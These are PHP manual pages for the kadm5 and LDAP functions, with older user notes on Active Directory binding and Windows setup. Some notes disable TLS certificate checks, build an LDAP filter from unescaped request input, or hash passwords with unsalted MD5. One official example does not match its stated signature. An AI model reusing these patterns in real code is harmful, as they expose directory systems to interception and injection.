kadm5_flush | 上一级 | kadm5_get_principal


kadm5_get_principal

(PECL)

kadm5_get_principal -- Gets the principal's entries from the Kerberos database

说明

array kadm5_get_principal ( resource handle, string principal )

kadm5_get_principal() returns an associative array containing the following keys: KADM5_PRINCIPAL, KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_MOD_NAME, KADM5_MOD_TIME, KADM5_KVNO, KADM5_POLICY, KADM5_MAX_RLIFE, KADM5_LAST_SUCCESS, KADM5_LAST_FAILED, KADM5_FAIL_AUTH_COUNT.

返回值

Returns array of options on success, or FALSE on failure.

范例

例子 1. kadm5_get_principal() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_principal burbach@GONICUS.LOCAL</h1>\n";

$options = kadm5_get_principal($handle, "burbach@GONICUS.LOCAL" );

foreach ($options as $key => $value) {
    echo "$key: $value<br />\n";
}

kadm5_destroy($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_get_policies | 上一级 | kadm5_get_principals


kadm5_get_principals

(PECL)

kadm5_get_principals -- Gets all principals from the Kerberos database

说明

array kadm5_get_principals ( resource handle )

kadm5_get_principals() returns an array containing the principals's names.

返回值

Returns array of principals on success, or FALSE on failure.

范例

例子 1. kadm5_get_principals() example

<?php
$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

print "<h1>get_principals</h1>\n";
foreach (kadm5_get_principals($handle) as $principal) {
    echo "$principal<br />\n";
}

kadm5_destroy($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_get_principal | 上一级 | kadm5_init_with_password


kadm5_init_with_password

(PECL)

kadm5_init_with_password -- Opens a connection to the KADM5 library and initializes any neccessary state information

说明

resource kadm5_init_with_password ( string admin_server, string realm, string principal, string password )

kadm5_init_with_password() opens a connection with the KADM5 library using the principal and the given password to obtain initial credentials from the admin_server. The parameter realm defines the authentication domain for the connection.

返回值

Returns a KADM5 handle on success, or FALSE on failure.

范例

例子 1. KADM5 initialization example

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH | KRB5_KDB_DISALLOW_PROXIABLE;
$options = array(KADM5_PRINC_EXPIRE_TIME => 0,
                 KADM5_POLICY => "default",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_create_principal($handle, "burbach@GONICUS.LOCAL", "password", $options);

kadm5_destroy($handle);
?>

注释

注: Connection should be closed after use with kadm5_destroy().

参见

kadm5_destroy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_get_principals | 上一级 | kadm5_modify_principal


kadm5_modify_principal

(PECL)

kadm5_modify_principal -- Modifies a kerberos principal with the given parameters

说明

bool kadm5_modify_principal ( resource handle, string principal, array options )

kadm5_modify_principal() modifies a principal according to the given options. Allowed are the following options: KADM5_PRINC_EXPIRE_TIME, KADM5_PW_EXPIRATION, KADM5_ATTRIBUTES, KADM5_MAX_LIFE, KADM5_KVNO, KADM5_POLICY, KADM5_CLEARPOLICY, KADM5_MAX_RLIFE, KADM5_FAIL_AUTH_COUNT.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Example of modifying principal

<?php

$handle = kadm5_init_with_password("afs-1", "GONICUS.LOCAL", "admin/admin", "password");

$attributes = KRB5_KDB_REQUIRES_PRE_AUTH;
$options = array(KADM5_PRINC_EXPIRE_TIME => 3451234,
                 KADM5_POLICY => "gonicus",
                 KADM5_ATTRIBUTES => $attributes);

kadm5_modify_principal($handle, "burbach@GONICUS.LOCAL", "password", $options);

kadm5_destroy($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
kadm5_init_with_password | 上一级 | LDAP Functions


LDAP Functions

PHP 手册
后退 前进

LXI. LDAP Functions

简介

LDAP is the Lightweight Directory Access Protocol, and is a protocol used to access "Directory Servers". The Directory is a special kind of database that holds information in a tree structure.

The concept is similar to your hard disk directory structure, except that in this context, the root directory is "The world" and the first level subdirectories are "countries". Lower levels of the directory structure contain entries for companies, organisations or places, while yet lower still we find directory entries for people, and perhaps equipment or documents.

To refer to a file in a subdirectory on your hard disk, you might use something like:

/usr/local/myapp/docs

The forwards slash marks each division in the reference, and the sequence is read from left to right.

The equivalent to the fully qualified file reference in LDAP is the "distinguished name", referred to simply as "dn". An example dn might be:

cn=John Smith,ou=Accounts,o=My Company,c=US

The comma marks each division in the reference, and the sequence is read from right to left. You would read this dn as:

country = US
organization = My Company
organizationalUnit = Accounts
commonName = John Smith

In the same way as there are no hard rules about how you organise the directory structure of a hard disk, a directory server manager can set up any structure that is meaningful for the purpose. However, there are some conventions that are used. The message is that you can not write code to access a directory server unless you know something about its structure, any more than you can use a database without some knowledge of what is available.

Lots of information about LDAP can be found at

  • Mozilla

  • OpenLDAP Project

The Netscape SDK contains a helpful Programmer's Guide in HTML format.

需求

You will need to get and compile LDAP client libraries from either OpenLDAP or Bind9.net in order to compile PHP with LDAP support.

安装

LDAP support in PHP is not enabled by default. You will need to use the --with-ldap[=DIR] configuration option when compiling PHP to enable LDAP support. DIR is the LDAP base install directory. To enable SASL support, be sure --with-ldap-sasl[=DIR] is used, and that sasl.h exists on the system.

Note to Win32 Users: In order to enable this module on a Windows environment, you must copy several files from the DLL folder of the PHP/Win32 binary package to the SYSTEM folder of your windows machine. (Ex: C:\WINNT\SYSTEM32, or C:\WINDOWS\SYSTEM). For PHP <= 4.2.0 copy libsasl.dll, for PHP >= 4.3.0 copy libeay32.dll and ssleay32.dll to your SYSTEM folder.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. LDAP configuration options

Name | Default | Changeable | Changelog
ldap.max_links | "-1" | PHP_INI_SYSTEM |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

LDAP_DEREF_NEVER (integer)

LDAP_DEREF_SEARCHING (integer)

LDAP_DEREF_FINDING (integer)

LDAP_DEREF_ALWAYS (integer)

LDAP_OPT_DEREF (integer)

LDAP_OPT_SIZELIMIT (integer)

LDAP_OPT_TIMELIMIT (integer)

LDAP_OPT_PROTOCOL_VERSION (integer)

LDAP_OPT_ERROR_NUMBER (integer)

LDAP_OPT_REFERRALS (integer)

LDAP_OPT_RESTART (integer)

LDAP_OPT_HOST_NAME (integer)

LDAP_OPT_ERROR_STRING (integer)

LDAP_OPT_MATCHED_DN (integer)

LDAP_OPT_SERVER_CONTROLS (integer)

LDAP_OPT_CLIENT_CONTROLS (integer)

LDAP_OPT_DEBUG_LEVEL (integer)

GSLC_SSL_NO_AUTH (integer)

GSLC_SSL_ONEWAY_AUTH (integer)

GSLC_SSL_TWOWAY_AUTH (integer)

范例

Retrieve information for all entries where the surname starts with "S" from a directory server, displaying an extract with name and email address.

例子 1. LDAP search example

<?php
// basic sequence with LDAP is connect, bind, search, interpret search
// result, close connection

echo "<h3>LDAP query test</h3>";
echo "Connecting ...";
$ds=ldap_connect("localhost");  // must be a valid LDAP server!
echo "connect result is " . $ds . "<br />";

if ($ds) {
    echo "Binding ...";
    $r=ldap_bind($ds);     // this is an "anonymous" bind, typically
                           // read-only access
    echo "Bind result is " . $r . "<br />";

    echo "Searching for (sn=S*) ...";
    // Search surname entry
    $sr=ldap_search($ds, "o=My Company, c=US", "sn=S*");
    echo "Search result is " . $sr . "<br />";

    echo "Number of entires returned is " . ldap_count_entries($ds, $sr) . "<br />";

    echo "Getting entries ...<p>";
    $info = ldap_get_entries($ds, $sr);
    echo "Data for " . $info["count"] . " items returned:<p>";

    for ($i=0; $i<$info["count"]; $i++) {
        echo "dn is: " . $info[$i]["dn"] . "<br />";
        echo "first cn entry is: " . $info[$i]["cn"][0] . "<br />";
        echo "first email entry is: " . $info[$i]["mail"][0] . "<br /><hr />";
    }

    echo "Closing connection";
    ldap_close($ds);

} else {
    echo "<h4>Unable to connect to LDAP server</h4>";
}
?>

Using the PHP LDAP calls

Before you can use the LDAP calls you will need to know ..

  • The name or address of the directory server you will use

  • The "base dn" of the server (the part of the world directory that is held on this server, which could be "o=My Company,c=US")

  • Whether you need a password to access the server (many servers will provide read access for an "anonymous bind" but require a password for anything else)

The typical sequence of LDAP calls you will make in an application will follow this pattern:

ldap_connect() // establish connection to server
|
ldap_bind() // anonymous or authenticated "login"
|
do something like search or update the directory
and display the results
|
ldap_close() // "logout"

目录
ldap_8859_to_t61 -- Translate 8859 characters to t61 characters
ldap_add -- Add entries to LDAP directory
ldap_bind -- Bind to LDAP directory
ldap_close -- 别名 ldap_unbind()
ldap_compare -- Compare value of attribute found in entry specified with DN
ldap_connect -- Connect to an LDAP server
ldap_count_entries -- Count the number of entries in a search
ldap_delete -- Delete an entry from a directory
ldap_dn2ufn -- Convert DN to User Friendly Naming format
ldap_err2str -- Convert LDAP error number into string error message
ldap_errno -- Return the LDAP error number of the last LDAP command
ldap_error -- Return the LDAP error message of the last LDAP command
ldap_explode_dn -- Splits DN into its component parts
ldap_first_attribute -- Return first attribute
ldap_first_entry -- Return first result id
ldap_first_reference -- Return first reference
ldap_free_result -- Free result memory
ldap_get_attributes -- Get attributes from a search result entry
ldap_get_dn -- Get the DN of a result entry
ldap_get_entries -- Get all result entries
ldap_get_option -- Get the current value for given option
ldap_get_values_len -- Get all binary values from a result entry
ldap_get_values -- Get all values from a result entry
ldap_list -- Single-level search
ldap_mod_add -- Add attribute values to current attributes
ldap_mod_del -- Delete attribute values from current attributes
ldap_mod_replace -- Replace attribute values with new ones
ldap_modify -- Modify an LDAP entry
ldap_next_attribute -- Get the next attribute in result
ldap_next_entry -- Get next result entry
ldap_next_reference -- Get next reference
ldap_parse_reference -- Extract information from reference entry
ldap_parse_result -- Extract information from result
ldap_read -- Read an entry
ldap_rename -- Modify the name of an entry
ldap_sasl_bind -- Bind to LDAP directory using SASL
ldap_search -- Search LDAP tree
ldap_set_option -- Set the value of the given option
ldap_set_rebind_proc -- Set a callback function to do re-binds on referral chasing
ldap_sort -- Sort LDAP result entries
ldap_start_tls -- Start TLS
ldap_t61_to_8859 -- Translate t61 characters to 8859 characters
ldap_unbind -- Unbind from LDAP directory

add a note add a note User Contributed Notes
brudinie at yahoo dot co dot uk
27-Jan-2006 12:43
LDAP Active Directory Last Logon (lastlogon).

This took me an entire day to work out. If you want to get the last logon date from an active directory account, you have to convert it from AD time stamp to unix time stamp.
Once you've got a unix time stamp, PHP can format it as a date.

Here is the code to do it:

       $dateLargeInt=$info[$i]["lastlogon"][0]; // nano seconds (yes, nano seconds) since jan 1st 1601
       $secsAfterADEpoch = $dateLargeInt / (10000000); // seconds since jan 1st 1601
       $ADToUnixConvertor=((1970-1601) * 365.242190) * 86400; // unix epoch - AD epoch * number of tropical days * seconds in a day
       $unixTsLastLogon=intval($secsAfterADEpoch-$ADToUnixConvertor); // unix Timestamp version of AD timestamp
       $lastlogon=date("d-m-Y", $unixTsLastLogon); // formatted date
nacenroe at remove dot this dot nystec dot com
20-Dec-2005 04:28
If you're looking to use PHP to integrate LDAP with AD (I'm working with Win2K3), you may want to tinker with the LDP.exe tool included (no resource kit needed!!) with Win2k and Win2K3.  You can run this app right from the command line.

The Win2K3 Help function was a good start point, and then pointed me to an article in the M$ KB: http://support.microsoft.com/default.aspx?scid=kb;en-us;255602 (XADM: Browsing and Querying Using the LDP Utility).

So ... if your connect/bindings are working but your queries are not, you may want to start here.  I'm finding it very useful when I run it on the local AD to see the attributes, etc.
ooja at roceindhoven dot nl
25-Oct-2005 02:52
If you bind anonymousely to a Windows 2003 Server (Active Directory) and you perform a ldap_search you will get an search operations error. You have to use a login and a password when binding!

I personally found alot of good information here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
christopherbyrne at hotmail dot com
17-Oct-2005 11:53
Just an ammendment to my previous post: my calculations were using east coast Australian time (GMT+10) whereas the Unix timestamp is in GMT. Therefore Active Directoy's "accountexpires" integer value does start from 1-Jan-1601 00:00:00 GMT and the number of seconds between this date and 1-Jan-1970 00:00:00 GMT is 11644524000.

The increments are still definately in 100 nanoseconds though!
christopherbyrne at hotmail dot com
17-Oct-2005 07:32
For anyone who's been having trouble working with the "accountexpires" attribute in Active Directory after having read the following article

www.microsoft.com/technet/scriptcenter/
resources/qanda/sept05/hey0902.mspx

or something similar, this may save you some frustration. In the article is is mentioned that this attribute is an integer representing the number of nanoseconds since 01-Jan-1601 00:00:00.

However the "accountexpires" attribute actually seems to be the number of 100 nanosecond increments since 31-Dec-1600 14:00:00. As a result if you divide the integer by 10,000,000 and subtract 11644560000 you will get a Unix timestamp that will match the dates in AD.

To set the "accountexpires" date just reverse the procedure, that is, get the timestamp for the new date you want, add 11644560000 and multiply by 10,000,000. You will also need to format the resultant number to make sure it is not outputted in scientific notation for AD to be happy with it.

Hope this helps!
hijinio at comcast dot net
29-Jul-2005 02:28
In case anybody has trouble configuring PHP with LDAP support on a Solaris 10 box, here is the configure line I used:

./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml --with-ldap=/usr/local --prefix=/opt/php/php-5.0.4

The important part to note is the location used for --with-ldap= ; which for most S10 people, will be "--with-ldap=/usr/local".
jpmens at gmail dot com
11-Mar-2005 06:04
Further to jabba at zeelandnet dot nl's note. If you are trying to connect to an LDAPS URI with OpenLDAP, you can either create the configuration file as described by jabba, or alternatively, use the environment settings to set LDAPTLS_REQCERT=never as described in ldap.conf(5).
scott at wiggumworld dot com
19-Jan-2005 08:08
You can find a PHP class that works well with Active Directory here:

http://www.wiggumworld.com/adldap/
Richie Bartlett(at)ITsystems-Online com
20-Dec-2004 04:44
This is an update to <i>wtfo at technocraft dot com</i> (23-May-2002 03:40)... This function allows additional (optional) parameters. The prev function listed, failed to close the ldap connection after successful authenication.

<?php
function checkNTuser($username,$password,$DomainName="myDomain",
                     $ldap_server="ldap://PDC.example.net"){//v0.9
// returns true when user/pass enable bind to LDAP (Windows 2k).
   $auth_user=$username."@".$DomainName;
   #echo $auth_user."->";
   if($connect=@ldap_connect($ldap_server)){
       #echo "connection ($ldap_server): ";
       if($bind=@ldap_bind($connect, $auth_user, $password)){
           #echo "true <BR>";
           @ldap_close($connect);
           return(true);
       }//if bound to ldap
   }//if connected to ldap
   #echo "failed <BR>";
   @ldap_close($connect);
   return(false);
}//end function checkNTuser
?>
xxoes at gmx dot de
08-Dec-2004 10:24
Yes you musst use LDAP with SSL!

$newPassword = "\"" . $new_password . "\"";
$len = strlen($newPassword);
$newPassw = "";
for($i=0;$i<$len;$i++)
   $newPassw .= "{$newPassword{$i}}\000";
$userdata["unicodepwd"] = $newPassw;
ldap_mod_replace($dn, $userdata);

My Windows php binary "PHP Version 4.3.9" dos not support LDAP with SSL, i have use stunnel to create a ssl connection.
jabba at zeelandnet dot nl
16-Nov-2004 03:51
When using PHP on windows, and you are trying to connect (bind) to a Netware (6) LDAP server that requires secure connections (LDAPS), PHP will return a message stating that the server cannot be found.

A network traffic capture of the traffic taking place on connection attempt reveals that the server supplies a certificate for use in the SSL connection, but this is rejected (***bad certificate SSLv3 packet) by the client.

The reason for this is probably that the PHP LDAP implementation tries to verify the received certificate with the CA that issued the certificate. There may be a way to make it possible that this verification succeeds, but it is also possible to disable this verification by the client (which is, in this case, PHP) by creating an openldap (surprise!!) configuration file.

The location of this configuration file seems to be hardcoded in the LDAP support module for windows, and you may need to manually create the following directory structure:

C:\openldap\sysconf\

In the sysconf folder, create a text file named 'ldap.conf' (you can use notepad for this) and, to disable certificate verification, place the following line in the ldap.conf file:

TLS_REQCERT never

After this, all the normal ldap_bind calls will work, provided your supplied user id and password are correct.
spam2004 at turniton dot dk
29-Oct-2004 08:36
Here are two small functions that enables you to convert a binary objectSID from Microsoft AD into a more usefull text version (formatted (S-1-5.....)).

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function littleEndian($hex) {
   for ($x=strlen($hex)-2; $x >= 0; $x=$x-2) {
       $result .= substr($hex,$x,2);
   }
   return $result;
}

// Returns the textual SID
function binSIDtoText($binsid) {
   $hex_sid=bin2hex($binsid);
   $rev = hexdec(substr($hex_sid,0,2));          // Get revision-part of SID
   $subcount = hexdec(substr($hex_sid,2,2));    // Get count of sub-auth entries
   $auth = hexdec(substr($hex_sid,4,12));      // SECURITY_NT_AUTHORITY
   $result = "$rev-$auth";
   for ($x=0;$x < $subcount; $x++) {
       $subauth[$x] = hexdec(littleEndian(substr($hex_sid,16+($x*8),8)));  // get all SECURITY_NT_AUTHORITY
       $result .= "-".$subauth[$x];
   }
   return $result;
}

echo binSIDtoText($bin_sid);
Jimmy Wimenta Oei
24-Sep-2004 03:32
If you want to disable/enable chase referral option, you need to first set the protocol version to version 3, otherwise the LDAP_OPT_REFERRALS option will not have any effect. This is especially true for querying MS Active Directory.

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
?>

And as always, these should be called after connect but before binding.
dmeehan at flcancer dot com
13-Aug-2004 04:26
If your having problems running LDAP searches on the base DC against Active Directory 2k3, you need to set dsHeuristics to 0000002 in Active Directory. This allows searches to function similar to how they did in Active Directory 2k2. You can update dsHeuristics by launching ldp.exe goto 'connection' and create a new connection. Then goto bind and bind to your ldap server. Next select the 'Browse' menu and choose 'modify'. The DN *might* look like this:

CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=mycompany,DC=com

Attribute is: dsHeuristics
Value is: 0000002

Set the operation to replace and you should be set.
This solves the 'Operations error' error that happens when attempting to search without specifying an OU.

-d
Sami Oksanen
17-May-2004 09:27
I edited Jon Caplinger's code which is located below (date: 09-Nov-2002 05:44).

 - I corrected line
   "if (!($connect=@ldap_connect($ldap))) {" with
   "if (!($connect=@ldap_connect($ldap_server))) {"

 - Removed $name-attribute

 - "Name is:"-field was always an Array, so I changed printing line to:
   " echo "Name is: ". $info[$i]["name"][0]."<br>";"

I also added some alternative search filters to try out.

Here is the code:

<?php

$ldap_server = "ldap://foo.bar.net";
$auth_user = "user@bar.net";
$auth_pass = "mypassword";

// Set the base dn to search the entire directory.

$base_dn = "DC=bar, DC=net";

// Show only user persons
$filter = "(&(objectClass=user)(objectCategory=person)(cn=*))";

// Enable to show only users
// $filter = "(&(objectClass=user)(cn=$*))";

// Enable to show everything
// $filter = "(cn=*)";

// connect to server

if (!($connect=@ldap_connect($ldap_server))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

//if (!($bind=@ldap_bind($connect))) {
//    die("Unable to bind to server");
//}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned."<p>";

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"][0]."<br>";
   echo "Display name is: ". $info[$i]["displayname"][0]."<br>";
   echo "Email is: ". $info[$i]["mail"][0]."<br>";
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0]."<p>";
}
?>
ant at solace dot mh dot se
27-Feb-2004 12:23
When working with LDAP, its worth remembering that the majority
of LDAP servers encode their strings as UTF-8. What this means
for non ascii strings is that you will need to use the utf8_encode and
utf8_decode functions when creating filters for the LDAP server.

Of course, if you can its simpler to just avoid using non-ascii characters
but for most sites the users like to see their strange native character
sets including umlauts etc..

If you just get ? characters where you are expecting non-ascii, then
you might just need to upgrade your PHP version.
pookey at pookey dot co dot uk
08-Oct-2003 04:57
This is an example of how to query an LDAP server, and print all entries out.

<?php

$ldapServer = '127.0.0.1';
$ldapBase = 'DC=anlx,DC=net';

/*
 * try to connect to the server
 */
$ldapConn = ldap_connect($ldapServer);
if (!$ldapConn)
{
  die('Cannot Connect to LDAP server');
}

/*
 * bind anonymously
 */
$ldapBind = ldap_bind($ldapConn);
if (!$ldapBind)
{
  die('Cannot Bind to LDAP server');
}

/*
 * set the ldap options
 */
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

/*
 * search the LDAP server
 */
$ldapSearch = ldap_search($ldapConn, $ldapBase, "(cn=*)");
$ldapResults = ldap_get_entries($ldapConn, $ldapSearch);

for ($item = 0; $item < $ldapResults['count']; $item++)
{
  for ($attribute = 0; $attribute < $ldapResults[$item]['count']; $attribute++)
  {
   $data = $ldapResults[$item][$attribute];
   echo $data.":&nbsp;&nbsp;".$ldapResults[$item][$data][0]."<br>";
  }
  echo '<hr />';
}

?>
paul at datacom dot bg
15-Aug-2003 05:40
This note is for people trying to load extensions which require additional dlls on W2k/XP.
As stated in the installation notes one has to copy those libraries to %SystemRoot%\system32 directory.
Generally it's not a good idea to copy files from left to right and back especially for the system folder.
The result is always a mess. I hope you'll find my way to get things working for more elegant than just copying files.
Leave those dlls where they are in dlls folder under PHP's installation path. Then edit environment variables so that the system variable PATH to include the dlls' folder. You may need to reboot the system. That's all, nice and clean.
One who doesn't know what I'm talking about should go this way:
My Computer - > Control Panel -> System -> Advanced -> Environment Variables ... -> System variables.
mrowe at pointsystems dot com
07-Aug-2003 02:58
FWIW,

Before anyone else wastes a day scratching their head wondering why they can't search Active Directory...

I wasn't able to search on Active Directory until I did this (immediately after the ldap_connect):

ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

I was able to ldap_bind if I didn't set this option, but I kept receiving errors.  Also note, I had to set the option BEFORE binding.
hkemale at hkem dot com
17-Jul-2003 01:49
For IIS+PHP+NTFS file system user
After copied <php_dir>/dlls/*.dll to <windows>/systems32/ remember to add read and exexcute premission to "everyone" and the extensions *.dll. this can prevent warning of Access is denied of php_ldap.dll
greatsafari at hotmail dot com
27-May-2003 02:01
Having seen so many variations of methods for connecting and query the Active Directory server, it really makes me suspect that the whole thing is dependent of the Active Directory configurations. Looking at this post at:

http://www.phpbuilder.com/mail/php-general/2003022/1459.php

Some methods proven to be working in one instance failed at another instance.
nliu99 at nospam dot yahoo dot com
30-Apr-2003 06:09
libsasl.dll is NOT required for ldap functionalities. Go check out the posting at: http://bugs.php.net/bug.php?id=9485

On win2k I followed these easy steps and got ldap to work:
1. copy php_ldap.dll from the extension folder to winnt/system32
2. edit winnt/php.ini so that ldap is enabled (uncomment the line).
3. restart IIS.
That's it and have fun with ldap.

A note for Microsoft Active Directory
1. You can login with the user email, i.e. user@company.com
2. It's easiest to search for user info with ldap_search by filtering: (userprincipalname=[user])
egeczi at nospamplease dot dist113 dot org
02-Apr-2003 01:05
On Win2k Server running IIS, it is not enough to just restart IIS after enabling the php_ldap extension. You have to restart the server itself.
yorch at correo dot ath dot cx
04-Mar-2003 01:12
Some notes about running LDAP extension on a Win2k box:

After copying php_ldap.php and libsasl.dll in every single directory possible (c:\WinNT\System32, c:\php ...) I decided to read the installation.txt file.
The instructions to install php extensions say: "Some extra DLLs are required for some PHP extensions. Please copy the bundled dlls from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory. If you already have these DLLs installed on your system, overwrite them only if something is not working correctly."

So I did exactly that: copy ALL the dll files from "c:\php\dlls" to "c:\WinNT\System32".
Now they load beautifully ;-)

I hope this helps someone.
jon dot caplinger at broadwing dot com
09-Nov-2002 02:44
Here is an example of searching active directory in w2k. Active directory requires a user account that has permissions to search the tree.

/* The following values are used for the example:
  1.  Domain =  microsoft.com
  2.  Server =  unstable
  3.  User = bgates
  4.  Password = iloveopensource
*/

// Get name value to search for from submitted form.

if (isset($HTTP_GET_VARS["name"])) {
     $name = $HTTP_GET_VARS["name"];
}

$ldap_server = "ldap://unstable.microsoft.com";
$auth_user = "bgates@microsoft.com";
$auth_pass = "iloveopensource";

// Set the base dn to search the entire microsoft.com directory.

$base_dn = "DC=microsoft, DC=com";

/* filter the search for all people in the microsoft.com tree that have a name that matches any one of the following attributes name, displayname, or cn. */

$filter = "(&(objectClass=user)(objectCategory=person)
(|(name=$name*)(displayname=$name*)(cn=$name*)))";

// connect to server

if (!($connect=@ldap_connect($ldap))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned;

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"];
   echo "Display name is: ". $info[$i]["displayname"][0];
   echo "Email is: ". $info[$i]["mail"][0];
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0];
}
gerbille at free dot fr
10-Oct-2002 09:26
The MD5 of PHP returns a result encoded in base16. But the LDAP MD5 returns a string encoded in base64.
$pwd="toto";
$pwd_md5=base64_encode(mhash(MHASH_MD5,$pwd));
Just add "{MD5}" front $pwd_md5 to obtain the same format as LDAP directory.

Bye
Aurlia
mike at whisperedlies dot org
10-Sep-2002 12:41
In addition to the netBIOS suggestion above, when binding to a Windows2k AD server, you can use the UPN of the intended user. For instance, if your SAM account name is firstname.lastname and your domain is domainname.com, your UPN might be firstname.lastname@domainname.com

This can be used to bind to AD. I've not seen any difference in any of the methods.
rusko dot marton at gibzone dot hu
11-Jul-2002 08:06
You can authenticate to a Windows 2000 domain's ldap server easily by using the simplified netbios form of the username.

Somebody written:
When authenticating to a Win2k LDAP server, the name of the person must be
the FULL NAME in the dn

NO. You can use this form:

$user = "DOMAINNAME\\username"
$password = "Password_of_user";

if (!$connect = ldap_connect("<server>", <port>)) {
  //error
  exit;
}
if (!$res = @ldap_bind($ldap, $user, $password)) {
  //error
  exit;
}

It works fine with Active Directory, we use it.
knitterb at blandsite dot org
20-Jun-2002 11:48
When using PHP 4.2.1 with OpenLDAP 2.1.2 I was having problems with binding to the ldap server.  I found that php was using an older protocol and added the following to the slapd.conf:

allow bind_v2

See ``man slapd.conf'' for more info about the allow item in the slapd.conf file, this is all I know! :)
wtfo at technocraft dot com
24-May-2002 06:40
This worked for me:

function checkNTUser ($username,$password) {
   $ldapserver = 'Your Server';
   $ds=ldap_connect($ldapserver);
   if ($ds) {
       $dn="cn=$username,cn=Users, DC=[sitename], DC=[sitesuffix]";
       $r=@ldap_bind($ds,$dn,$password);
       if ($r) { return true;
       } else {
           return false;
       }
   }
}
sukhruprai at yahoo dot com
05-May-2002 09:56
There is an article about how to compile openldap on windows. Openldap binaries are also available for download (for windows).
http://www.fivesight.com/downloads/openldap.asp
php ^ pixelcop , com
24-Apr-2002 04:33
For those trying to do LDAP authentication with Lotus Domino NAB, the following has worked for me (based on the win2k example by webmaster@autourdupc.com) :

$ip = "localhost";
$dn="CN=Joe Blo, O=myOrganization";
$password = "password";

if (!($ldap = ldap_connect($ip))) {
   die ("Could not connect to LDAP server");
}

print "connected to <b>$ip</b><br/>";

if (!($res = @ldap_bind($ldap, $dn, $password))) {
   die ("Could not bind to $dn");
}

print "user <b>$dn</b> authenticated.<br/>";

$sdn = "O=myOrganization";
$filter = "(objectclass=*)";

print "executing search...<b>DN: $sdn; Filter: $filter</b><br/>";
$sr=ldap_search($ldap, $sdn, $filter);

$info = ldap_get_entries($ldap, $sr);

print $info["count"]." entries returned<hr>";
print "<PRE>";
print_r($info);
print "</PRE>";
webmaster at autourdupc dot com
31-Dec-2001 08:36
When authenticating to a Win2k LDAP server, the name of the person must be the FULL NAME in the dn

NB : nothing is case sensitive !

$dn="cn=DUPOND John, cn=Users, dc=autourdupc, dc=com"
$password = "Password_of_DUPOND";

Then when you bind to the LDAP database you use:

if (!($ldap = ldap_connect("<server>", <port>))) {
die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, $dn, $password))) {
die ("Could not bind to $dn");
}

Hope this will usefull for everyone !
bounty_arz at hotmail dot com
27-Nov-2001 01:46
Hi,

There is a way to Access Active Directory :
- You will have to bind as admin :
eg: administrator@yourdomain.com
or as a user :
eg: fschultz@yourdomain.com
(because you can't search the Subtree as anonymous).

Then you can query, add, delete and modify entries if you respect the syntax of the MS schema.

F.B
http://www.imphar.com
yapt at techNOSPAMnovell dot com
14-Oct-2001 07:37
I have found this new site with a lot of information about LDAP:
http://www.ldapzone.com/
mleaver at scis dot ecu dot edu dot au
08-Mar-2001 05:32
When authenticating to a Win2k LDAP server you must include the name of the person authenticating to the server in the dn

i.e. cn=administrator, cn=users, dc=server, dc=domain, dc=country

Then when you bind to the LDAP database you use:

$res = ldap_bind($ldap, $dn, $password);

So a full example would be:

if (!($ldap = ldap_connect("<server>", <port>))) {
       die ("Could not connect to LDAP server");
}
$dn = "cn=administrator, cn=users, dc=myserver, dc=com, dc=au";
$password = "MyPassword";
if (!($res = @ldap_bind($ldap, $dn, $password))) {
       die ("Could not bind to $dn");
}

Then you do your list or search functions on the ldap database.
ron at opus1 dot com
24-Feb-2000 09:18
Note that when you are using loops to search through attributes, you must handle [dn] separately, otherwise each iteration of the loop will only return each character of the dn, left to right, and  the array for dn of "cn=boo" would be:
dn [0]="c"
dn [1]="n"
dn [2]="="
dn [3]="b"
dn [4]="o"
dn [5]="o"
Not too much fun to debug. ;-)
add a note add a note

后退 | 起点 | 前进
kadm5_modify_principal | 上一级 | ldap_8859_to_t61


ldap_8859_to_t61

(PHP 4 >= 4.0.2, PHP 5)

